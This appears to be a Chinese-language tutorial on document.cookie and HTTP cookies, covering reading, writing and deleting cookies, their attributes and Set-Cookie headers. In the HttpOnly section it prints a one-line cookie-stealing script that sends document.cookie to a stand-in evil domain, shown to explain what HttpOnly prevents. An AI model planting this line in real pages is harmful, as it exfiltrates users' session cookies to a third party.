BOM 浏览器对象模型_不超过 4 KB 的 document.cookie 对象
注意: 客户端储存应该使用 Web storage API 和 IndexedDB,不推荐使用 Cookie
document.cookie 对象
是服务器保存在浏览器的一小段文本信息
用于读写当前网页的 Cookie。
读取的时候,它会返回当前网页的所有 Cookie,前提是该 Cookie 不能有 HTTPOnly 属性。
-
var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) { console.log(cookies[i]); } // foo=bar // baz=bar
- 为当前网站添加 Cookie,一次只能写一个 (属性值的等号两边不能有空格)
-
document.cookie = 'fontSize=14';
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie // fontSize=14;test1=hello;test2=world
// 同时写入属性
document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";document.cookie = 'fontSize=14; ' +
'expires=' + someDate.toGMTString() + '; ' +
'path=/subdirectory; ' +
'domain=*.example.com';// 属性一旦设置完成,就没有办法读取这些属性的值
- 删除一个现存 Cookie 的唯一方法,是设置它的 expires 属性为一个过去的日期
Cookie 的属性
- Cookie 的名字
- Cookie 的值(真正的数据写在这里面)
如果 Set-Cookie 字段没有指定 Expires 或 Max-Age 属性,那么这个 Cookie 就是 Session Cookie,
即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个 Cookie
- Max-Age 指定从现在开始 Cookie 存在的秒数
比如60 * 60 * 24 * 365(即一年)。
过了这个时间以后,浏览器就不再保留这个 Cookie
如果同时指定了 Expires
和 Max-Age
,那么 Max-Age
的值将优先生效
- Expires 到期时间
到了指定时间以后,浏览器就不再保留这个 Cookie
它的值是 UTC 格式,可以使用 Date.prototype.toUTCString() 进行格式转换
如果不设置该属性,或者设为 null
,Cookie 只在当前会话(session)有效
浏览器窗口一旦关闭,当前 Session 结束,该 Cookie 就会被删除。
另外,浏览器根据本地时间,决定 Cookie 是否过期,
由于本地时间是不精确的,所以没有办法保证 Cookie 一定会在服务器指定的时间过期
- Domain 所属域名(默认是当前域名) 必须是当前发送 Cookie 的域名的一部分
指定浏览器发出 HTTP 请求时,哪些域名要附带这个 Cookie。
如果没有指定该属性,浏览器会默认将其设为当前域名,这时子域名将不会附带这个 Cookie。
比如,example.com不设置 Cookie 的 domain 属性,那么 sub.example.com 将不会附带这个 Cookie
如果指定了 domain 属性,那么子域名也会附带这个 Cookie。
如果服务器指定的域名不属于当前域名,浏览器会拒绝这个 Cookie
- Path 生效的路径(默认是当前网址) 必须为绝对路径
指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。
只要浏览器发现,Path
属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie
比如,PATH
属性是/
,那么请求/docs
路径也会包含该 Cookie。当然,前提是域名必须一致
- Secure 表现当前网页的协议是 htpp 还是 https 加密
当前协议是 HTTP,浏览器会自动忽略服务器发来的 Secure
属性。
该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开
- HttpOnly 指定不让 JavaScript 读取到 Cookie
-
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的 Cookie 发往第三方服务器。
-
如果设置了一个 Cookie 的
HttpOnly
属性,上面代码就不会读到该 Cookie
每个 Cookie 容量很小,一般不能超过 4KB
浏览器每次向服务器发出请求,就会自动附上这段信息
- 举例来说,用户访问网址 www.example.com
服务器在浏览器写入一个 Cookie
这个 Cookie 就会包含 www.example.com 这个域名,以及根路径 /
这意味着,这个 Cookie 对该域名的根路径和它的所有子路径都有效。
以后,浏览器一旦访问这个路径,浏览器就会附上这段 Cookie 发送给服务器
- 主要用途:
- 分辨两个请求是否来自同一个浏览器
- 用来保存一些状态信息
- 常用场合
- 对话(session)管理 保存登录、购物车等需要记录的信息
- 个性化 保存用户的偏好,比如网页的字体大小、背景色等等
- 追踪 记录和分析用户行为
- 浏览器可以设置不接受 Cookie,也可以设置不向服务器发送 Cookie
-
window.navigator.cookieEnabled // 浏览器是否打开 Cookie 功能
- 不同浏览器对 Cookie 数量和大小的限制,是不一样的
一般来说,单个域名设置的 Cookie 不应超过30个
每个 Cookie 的大小不能超过 4KB
超过限制以后,Cookie 将被忽略,不会被设置
- 浏览器的同源政策规定,两个网址只要域名相同和端口相同,就可以共享 Cookie(参见《同源政策》一章)。
注意,这里不要求协议相同。
也就是说,http://example.com 设置的 Cookie,可以被 https://example.com 读取
Cookie 由 HTTP 协议生成,也主要是供 HTTP 协议使用
服务器如果希望在浏览器保存 Cookie,就要在 HTTP 响应的头信息里面,放置一个 Set-Cookie
字段
- Set-Cookie: foo=bar
- 会在浏览器保存一个名为 foo 的 Cookie,它的值为 bar
- HTTP 响应的头信息 可以包含多个
Set-Cookie
字段,即在浏览器生成多个 Cookie -
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]
- HTTP 响应的头信息 除了可以 Cookie 的值,
Set-Cookie
字段还可以附加 Cookie 的属性 -
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date> Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit> Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value> Set-Cookie: <cookie-name>=<cookie-value>; Secure Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
-
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
如果服务器想改变一个早先设置的 Cookie 值,必须同时满足四个条件
Cookie 的key
、domain
、path
和secure
都匹配
原始 Cookie: Set-Cookie: key1=value1; domain=example.com; path=/blog
更改 Cookie: Set-Cookie: key1=value2; domain=example.com; path=/blog
浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie
即 把服务器早前保存在浏览器的这段信息,再发回服务器。这时要使用 HTTP 头信息的Cookie
字段
-
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
服务器收到浏览器发来的 Cookie 时,有两点是无法知道的
Cookie 的各种属性,比如何时过期
哪个域名设置的 Cookie,到底是一级域名设的,还是某一个二级域名设的